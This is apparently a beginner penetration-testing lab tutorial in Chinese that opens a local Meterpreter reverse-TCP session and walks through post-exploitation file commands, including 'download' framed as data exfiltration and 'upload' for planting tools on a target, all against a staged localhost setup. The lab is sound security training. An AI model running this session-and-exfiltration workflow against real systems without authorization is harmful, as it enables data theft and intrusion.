使用 Meterpreter 与目标文件系统交互

Kali LinuxBeginner
立即练习

引言

在本实验中,你将学习使用 Meterpreter 与目标文件系统进行交互的基础技术。Meterpreter 是 Metasploit Framework 的一部分,是一个高级 payload。后渗透(Post-exploitation)是渗透测试的关键阶段,能够导航文件系统、下载敏感文件以及上传自己的工具或脚本是一项必备技能。

我们将逐步介绍建立 Meterpreter 会话的过程,然后使用 lscddownloaduploadcat 等核心命令来探索和操作受损系统上的文件。

使用 ls 命令列出文件和目录

在此步骤中,我们将首先建立一个 Meterpreter 会话,然后使用 ls 命令列出目标系统上的文件。我们的设置脚本已经创建了一个 payload (payload.elf) 和一个监听器配置文件 (listener.rc)。

首先,我们启动 Metasploit 监听器。它将等待来自 payload 的入站连接。我们使用 -r 标志来加载我们的资源文件,该文件可以自动化设置过程。

打开一个终端并运行以下命令:

msfconsole -r listener.rc

你将看到 Metasploit 控制台启动,并且监听器将作为后台作业运行。输出将类似于:

[*] Msfconsole tip: Use the resource command to run a script of
    console commands.

    ...

[*] Exploit running as background job 0.
[*] Started reverse TCP handler on 127.0.0.1:4444

msf6 >

现在,我们需要执行 payload 以连接到我们的监听器。打开一个新的终端,方法是点击终端标签栏中的 "+" 图标。在新终端中,执行位于你的 ~/project 目录中的 payload 文件。

./payload.elf

此命令不会产生任何输出。切换回你的第一个终端(运行 msfconsole 的那个)。你应该会看到一条消息,表明一个会话已打开。

[*] Sending stage (3021700 bytes) to 127.0.0.1
[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:43916) at 2023-10-27 10:30:00 -0400

msf6 > sessions -i 1
[*] Starting interaction with 1...

meterpreter >

注意:如果你没有自动进入会话,你可以使用 sessions 列出活动会话,并使用 sessions -i <ID>(例如 sessions -i 1)与之交互。

你现在处于一个 Meterpreter 会话中,这由 meterpreter > 提示符指示。在此处输入的任何命令都将在目标机器上执行。让我们使用 ls 命令列出目标当前目录中的文件。

ls

这将列出目标当前工作目录中的文件和目录。

meterpreter > ls
Listing: /home/labex/project
============================

Mode              Size    Type  Perms  Name
----              ----    ----  -----  ----
100755/rwxr-xr-x  10152   fil   rwx/-  payload.elf
100644/rw-r--r--  100     fil   rw-/-  listener.rc

使用 cd 命令更改目录

在此步骤中,你将学习如何在 Meterpreter 中使用 cd(更改目录)命令来导航目标的文件系统。这与标准的 Linux cd 命令工作方式相同。

我们的设置脚本在目标系统上创建了一个名为 /tmp/victim_files 的目录。让我们导航到 /tmp 目录。

cd /tmp

该命令本身不会产生任何输出。为了确认我们已更改目录,我们可以使用 pwd(打印工作目录)命令。

pwd

输出将显示你在目标机器上的当前目录。

meterpreter > pwd
/tmp

现在我们已进入 /tmp 目录,让我们使用 ls 列出其内容以找到 victim_files 目录。

ls

你应该会在 /tmp 中的其他文件和目录中看到 victim_files 目录。

meterpreter > ls
Listing: /tmp
============

Mode              Size  Type  Perms  Name
----              ----  ----  -----  ----
...
40777/rwxrwxrwx   4096  dir   rwx/-  victim_files
...

使用 download 命令从目标下载文件

在此步骤中,我们将从目标系统下载一个文件到我们自己的机器上。这是数据外泄(exfiltrating data)的关键技术。我们将使用 download 命令。

首先,让我们导航到在上一步中找到的 victim_files 目录。

cd victim_files

现在,列出此目录中的文件以找到我们的目标文件。

ls

你将看到由设置脚本创建的 secret_notes.txt 文件。

meterpreter > ls
Listing: /tmp/victim_files
=========================

Mode              Size  Type  Perms  Name
----              ----  ----  -----  ----
100644/rw-r--r--  37    fil   rw-/-  secret_notes.txt

现在,让我们将此文件下载到我们本地的 ~/project 目录。语法是 download <file_on_target>。默认情况下,它将下载到你当前的本地目录。

download secret_notes.txt

你应该会看到一条确认消息,表明下载成功。

[*] Downloading: secret_notes.txt -> /home/labex/project/secret_notes.txt
[*] Downloaded 37.00 B of 37.00 B (100.0%)
[*] download   : /tmp/victim_files/secret_notes.txt -> /home/labex/project/secret_notes.txt

为了验证,你可以打开一个新终端(或使用你之前打开的第二个终端),并列出你本地机器上 ~/project 目录中的文件。

ls ~/project

现在你应该在文件列表中看到 secret_notes.txt

使用 upload 命令将文件上传到目标

在此步骤中,你将学习如何使用 upload 命令将文件从你的机器上传到目标系统。这对于在目标上放置工具、脚本或其他 payload 非常有用。

首先,我们需要在本地机器上有一个文件可以上传。让我们创建一个。在你的本地 shell 终端(而不是 Meterpreter 会话)中,运行以下命令创建一个名为 attacker_file.txt 的文件。

echo "attacker data" > ~/project/attacker_file.txt

现在,切换回你的Meterpreter 会话。你应该仍然在目标上的 /tmp/victim_files 目录中。我们将把本地 ~/project 目录中的 attacker_file.txt 上传到目标的当前目录。

语法是 upload <local_file_path>

upload /home/labex/project/attacker_file.txt

你将看到一个确认消息,表明上传成功。

[*] uploading: /home/labex/project/attacker_file.txt -> attacker_file.txt
[*] uploaded : /home/labex/project/attacker_file.txt -> attacker_file.txt

为了确认文件已在目标上,请在你的 Meterpreter 会话中运行 ls

ls

你现在应该会看到 secret_notes.txt 和你新上传的 attacker_file.txt

meterpreter > ls
Listing: /tmp/victim_files
=========================

Mode              Size  Type  Perms  Name
----              ----  ----  -----  ----
100644/rw-r--r--  14    fil   rw-/-  attacker_file.txt
100644/rw-r--r--  37    fil   rw-/-  secret_notes.txt

使用 cat 命令查看文本文件内容

在最后一步中,我们将使用 Meterpreter 中的 cat 命令直接在目标的(target)文件系统中查看文件内容,而无需先下载它们。

在你的 Meterpreter 会话中,你应该仍然位于目标上的 /tmp/victim_files 目录。

首先,让我们查看原始文件 secret_notes.txt 的内容。

cat secret_notes.txt

该命令会将文件的内容直接打印到你的控制台。

meterpreter > cat secret_notes.txt
This is a secret file from the target.

接下来,让我们查看我们上传的文件 attacker_file.txt 的内容,以确认它已正确传输。

cat attacker_file.txt

你应该会看到我们在本地机器上创建的文本。

meterpreter > cat attacker_file.txt
attacker data

这个命令对于快速检查目标系统上的配置文件、日志或脚本非常有用。

总结

恭喜你完成了本次实验!你已经学会了与目标文件系统交互的基本 Meterpreter 命令。

你成功建立了 Meterpreter 会话,并练习了以下关键的后渗透(post-exploitation)命令:

  • ls: 列出文件和目录。
  • cd: 导航文件系统。
  • pwd: 识别当前工作目录。
  • download: 将文件从目标提取(exfiltrate)到你的机器。
  • upload: 将文件从你的机器放置到目标上。
  • cat: 直接在目标上查看文本文件的内容。

掌握这些命令是熟练使用 Metasploit Framework 和执行有效渗透测试的基础步骤。